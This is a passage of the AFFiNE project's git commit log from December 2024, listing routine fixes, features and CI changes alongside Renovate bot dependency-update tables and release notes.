| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.2.2` -> `5.2.3`](https://renovatebot.com/diffs/npm/keyv/5.2.2/5.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.2.2/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.2.2/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.468.0` -> `^0.469.0`](https://renovatebot.com/diffs/npm/lucide-react/0.468.0/0.469.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.468.0/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.468.0/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mixpanel-browser](https://redirect.github.com/mixpanel/mixpanel-js) | [`2.56.0` -> `2.58.0`](https://renovatebot.com/diffs/npm/mixpanel-browser/2.56.0/2.58.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mixpanel-browser/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mixpanel-browser/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mixpanel-browser/2.56.0/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mixpanel-browser/2.56.0/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.23` -> `3.0.0-alpha.24` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.23/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.23/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-build](https://redirect.github.com/napi-rs/napi-rs) | `2.1.3` -> `2.1.4` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-build/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-build/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-build/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-build/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.21` -> `3.0.0-alpha.22` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.21/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.21/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.3` -> `4.77.0`](https://renovatebot.com/diffs/npm/openai/4.76.3/4.77.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.3/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.3/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.54.1` -> `7.54.2`](https://renovatebot.com/diffs/npm/react-hook-form/7.54.1/7.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.54.1/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.54.1/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.0` -> `6.28.1`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.0/6.28.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.0` -> `6.28.1`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.0/6.28.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.133` -> `1.0.134` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.133/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.133/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.24.2` -> `1.24.4`](https://renovatebot.com/diffs/npm/shiki/1.24.2/1.24.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.24.2/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.24.2/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [stripe](https://redirect.github.com/stripe/stripe-node) | [`17.4.0` -> `17.5.0`](https://renovatebot.com/diffs/npm/stripe/17.4.0/17.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/stripe/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/stripe/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/stripe/17.4.0/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/stripe/17.4.0/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss)) | [`3.4.16` -> `3.4.17`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.16/3.4.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.16/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.16/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tiktoken](https://redirect.github.com/dqbd/tiktoken) | [`1.0.17` -> `1.0.18`](https://renovatebot.com/diffs/npm/tiktoken/1.0.17/1.0.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tiktoken/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tiktoken/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tiktoken/1.0.17/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tiktoken/1.0.17/1.0.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.18.0` -> `8.18.1`](https://renovatebot.com/diffs/npm/typescript-eslint/8.18.0/8.18.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.18.0/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.18.0/8.18.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.1.0` -> `7.2.0`](https://renovatebot.com/diffs/npm/undici/7.1.0/7.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/7.1.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/7.1.0/7.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.3` -> `6.0.5`](https://renovatebot.com/diffs/npm/vite/6.0.3/6.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.3/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.3/6.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | resolutions | patch |
| [wrangler](https://redirect.github.com/cloudflare/workers-sdk) ([source](https://redirect.github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler)) | [`3.95.0` -> `3.99.0`](https://renovatebot.com/diffs/npm/wrangler/3.95.0/3.99.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/wrangler/3.99.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/wrangler/3.99.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/wrangler/3.95.0/3.99.0?slim=true)](https://docs.reno
2024-12-23 03:24:06 +00:00
EYHN cddef4c2f6 fix(admin): fix the admin app (#9233) 2024-12-23 03:06:31 +00:00
Mirone ec5bbb442f ci: add code owners for blocksuite (#9234) 2024-12-23 11:05:36 +08:00
Saul-Mirone ea6a05632b ci: shard vitest to speed up unit test (#9235) 2024-12-21 03:37:20 +00:00
Saul-Mirone 3a82da0e5b chore: fix eslint in blocksuite (#9232) 2024-12-20 16:48:10 +00:00
Saul-Mirone bfcc53dc1f chore: migrate blocksuite test (#9222) 2024-12-20 11:08:21 +00:00
EYHN f788fdd0a4 fix(core): revalidate quota and subscription when subscribing (#9220) 2024-12-20 09:31:52 +00:00
pengx17 bdbefd3e28 fix(core): backlinks styles (#9126)
fix AF-1946
2024-12-20 09:06:46 +00:00
EYHN cbaf35df0b feat(nbstore): add nbstore worker (#9185) 2024-12-20 08:01:23 +00:00
Mirone 30200ff86d chore: merge blocksuite source code (#9213) 2024-12-20 15:38:06 +08:00
Brooooooklyn 2c9ef916f4 style: do not autofix eslint directive (#9218) 2024-12-20 06:28:44 +00:00
EYHN f8e7abd018 fix(core): indexer data loss (#9216) 2024-12-20 06:10:50 +00:00
CatsJuice a53e231bad feat(component, mobile): masonry layout with virtual scroll support, adapted with all docs (#9208)
### Preview

![CleanShot 2024-12-19 at 20.41.47.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/60a701ea-bca0-42d5-8a06-f10af44c8fc8.gif)

### Render when scrolling

![CleanShot 2024-12-20 at 09.54.26.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/df0008d7-5bd9-4e98-b426-cb1036dbb611.gif)

### api
```tsx
const items = useMemo(() => {
    return {
        id: '',
        height: 100,
        children: <div></div>
    }
}, [])

<Masonry items={items} />
```
2024-12-20 05:32:17 +00:00
JimmFly 2988dc284e chore: adjust input style (#9217) 2024-12-20 04:18:34 +00:00
JimmFly 978c4c69b7 chore: bump theme (#9214) 2024-12-20 04:01:17 +00:00
L-Sun e378f591cb fix(mobile): add missing mobile date selector and remove focus style from date picker in mobile (#9215)
Close [BS-2169](https://linear.app/affine-design/issue/BS-2169/新的-menu-不支持移动端)

### What changes
- add missing date-selector for mobile
- remove focus style of date picker for mobile
  ![CleanShot 2024-12-20 at 11.27.09@2x.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/MyRfgiN4RuBxJfrza3SG/7a9b1c1a-e4aa-4746-9242-f1b8c12cd630.png)
2024-12-20 03:39:49 +00:00
fundon d7983c50e3 chore(core): add event tracking for attachments (#9198)
Part of: [AF-1678](https://linear.app/affine-design/issue/AF-1678/添加埋点)
2024-12-20 02:43:11 +00:00
JimmFly 7ff24e9c1c fix(core): adjust admin permission (#9204)
close AF-2001 AF-2002
2024-12-20 02:26:17 +00:00
pengx17 0fdf2c4905 fix(core): indexer worker crash on unexpected markdown indent (#9210) 2024-12-20 02:08:44 +00:00
renovate c6603ad182 chore: bump up @blocksuite/affine version to v0.19.5 (#9202)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.3` -> `0.19.5`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.3/0.19.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.3/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.3/0.19.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.5`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0195)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.4...v0.19.5)

##### Patch Changes

-   [`d2a3eb7`](https://redirect.github.com/toeverything/blocksuite/commit/d2a3eb7): Release patch version.

### [`v0.19.4`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0194)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.3...v0.19.4)

##### Patch Changes

-   [`8ae61d6`](https://redirect.github.com/toeverything/blocksuite/commit/8ae61d6): Improves edgeless viewport stability

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-19 10:30:20 +00:00
Brooooooklyn 4c48aee88b ci: remove nx-cloud (#9203) 2024-12-19 07:58:45 +00:00
pengx17 da0f3d0b56 chore(core): some dnd events (#9206)
fix AF-1999
2024-12-19 07:42:13 +00:00
EYHN 30588783ef fix(mobile): disable blob sync on mobile (#9200) 2024-12-19 03:54:34 +00:00
pengx17 6dc512e0da fix(core): dnd should not create new doc on dragging start (#9201)
fix AF-2000
2024-12-19 03:28:29 +00:00
JimmFly a153a1c3c9 feat(core): add app version to request header (#9101) 2024-12-19 02:38:08 +00:00
JimmFly 70deeaa804 fix(core): adjust member limit dialog (#9195)
close AF-1945 AF-1989 AF-1981 AF-1998 AF-1950 AF-1951

Adjust the member limit dialog. Now it will determine whether the member limit is reached when clicking Send Invite Email.
Modified the notification after sending the invitation.
2024-12-19 02:23:35 +00:00
fundon def4dc854a feat(core): impl doc display meta extension (#9165)
Closes: [BS-2111](https://linear.app/affine-design/issue/BS-2111/定义和实现-docdisplaymetaextension)
Upstreams: https://github.com/toeverything/blocksuite/pull/8953

https://github.com/user-attachments/assets/008d7433-efef-47c4-8189-9bc288e61199
2024-12-19 01:02:27 +00:00
renovate ef0f6e5993 chore: bump up @blocksuite/affine version to v0.19.3 (#9197)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.2` -> `0.19.3`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.2/0.19.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.2/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.2/0.19.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.3`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0193)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.2...v0.19.3)

##### Patch Changes

-   [`59e0cd6`](https://redirect.github.com/toeverything/blocksuite/commit/59e0cd6): Release patch version.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43Mi41IiwidXBkYXRlZEluVmVyIjoiMzkuNzIuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-18 14:57:01 +00:00
JimmFly cbb52c69b2 chore: temporarily hide link invitation (#9193)
close AF-1992 AF-1995 AF-1979 AF-1997

chore: temporarily hide link invitation

fix(core): only team workspace can assign admin

fix(core): member options in member list do not match expectations
2024-12-18 07:26:41 +00:00
Saul-Mirone e13f9d3885 feat: enable new dnd flag (#9194) 2024-12-18 05:53:08 +00:00
EYHN 64b017dc1b feat(nbstore): remove async on connection api (#9187)
We should not use async on `connect` and `disconnect`, for `WebSocketConnection` will never connect when offline.

We should handle the connection status of each storage in sync, using the `connection.waitForConnect`

This PR also puts the connection reference count on the `connect` and disconnect`
2024-12-18 03:59:49 +00:00
EYHN 3fddf050a4 feat(nbstore): add doc sync state (#9131) 2024-12-18 03:59:47 +00:00
EYHN 8374346b2e feat(core): lazy load doc card (#9192) 2024-12-18 03:40:33 +00:00
EYHN c31e9fdff4 fix(core): fix no page root error (#9190) 2024-12-18 03:39:48 +00:00
CatsJuice 2ceb6e924c fix(ios): sync keyboard color scheme when theme changed (#9184) 2024-12-18 02:16:45 +00:00
renovate f0d99f46dd chore: bump up @blocksuite/affine version to v0.19.2 (#9175)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/affine](https://redirect.github.com/toeverything/blocksuite) ([source](https://redirect.github.com/toeverything/blocksuite/tree/HEAD/packages/affine/all), [changelog](https://redirect.github.com/toeverything/blocksuite/blob/master/packages/blocks/CHANGELOG.md)) | [`0.19.1` -> `0.19.2`](https://renovatebot.com/diffs/npm/@blocksuite%2faffine/0.19.1/0.19.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2faffine/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2faffine/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2faffine/0.19.1/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2faffine/0.19.1/0.19.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

### Release Notes

<details>
<summary>toeverything/blocksuite (@&#8203;blocksuite/affine)</summary>

### [`v0.19.2`](https://redirect.github.com/toeverything/blocksuite/blob/HEAD/packages/affine/all/CHANGELOG.md#0192)

[Compare Source](https://redirect.github.com/toeverything/blocksuite/compare/v0.19.1...v0.19.2)

##### Patch Changes

-   [`bc04f27`](https://redirect.github.com/toeverything/blocksuite/commit/bc04f27): ## Feat

    -   feat: support heading toggle ([#&#8203;8829](https://redirect.github.com/toeverything/blocksuite/issues/8829))
    -   feat(blocks): add surface element plain text adapter ([#&#8203;8977](https://redirect.github.com/toeverything/blocksuite/issues/8977))
    -   feat: add doc display meta extension ([#&#8203;8953](https://redirect.github.com/toeverything/blocksuite/issues/8953))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS42OS4zIiwidXBkYXRlZEluVmVyIjoiMzkuNjkuMyIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-17 12:18:46 +00:00
JimmFly 4b836cd40f fix(core): add visit workspace button to team upgrade success page (#9186)
close AF-1978
2024-12-17 11:07:48 +00:00
DarkSky e3f922bfac fix(server): send declined email (#9188) 2024-12-17 18:15:43 +08:00
liuyi b0e64fe516 chore: remove legacy tests (#9183) 2024-12-17 17:06:28 +08:00
darkskygit 27d4aa7ca7 test(server): add more test for team workspace (#9182) 2024-12-17 08:42:19 +00:00
JimmFly 95d1a4a27d feat(core): add sync paused dialog (#9135)
close AF-1932 AF-1954 AF-1953 AF-1955

Add a pop-up reminder when the workspace capacity exceeds the limit or the number of members exceeds the limit.
2024-12-17 05:55:41 +00:00
EYHN ffa0231cf5 feat(nbstore): add awareness storage&sync&frontend (#9016) 2024-12-17 04:37:15 +00:00
Brooooooklyn 36ac79351f chore: disable no-dupe-args rule (#9169) 2024-12-17 03:08:11 +00:00
CatsJuice d3e7edf7c4 fix(mobile): can navigate in journal conflicts (#9170) 2024-12-17 02:54:10 +00:00
CatsJuice 12954ec82c fix(mobile): editor error boundary is not fully visible (#9172) 2024-12-17 02:38:11 +00:00
akumatus 563da3b6f4 fix(core): in page mode, AI replace selection did not correctly replace the selected text (#9179)
Fix issue [BS-1980](https://linear.app/affine-design/issue/BS-1980).
2024-12-17 02:22:48 +00:00
EYHN b36b398957 fix(infra): memory leak (#9013) 2024-12-16 16:55:49 +00:00
renovate 55f1cc4b1e chore: bump up all non-major dependencies (#9149)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
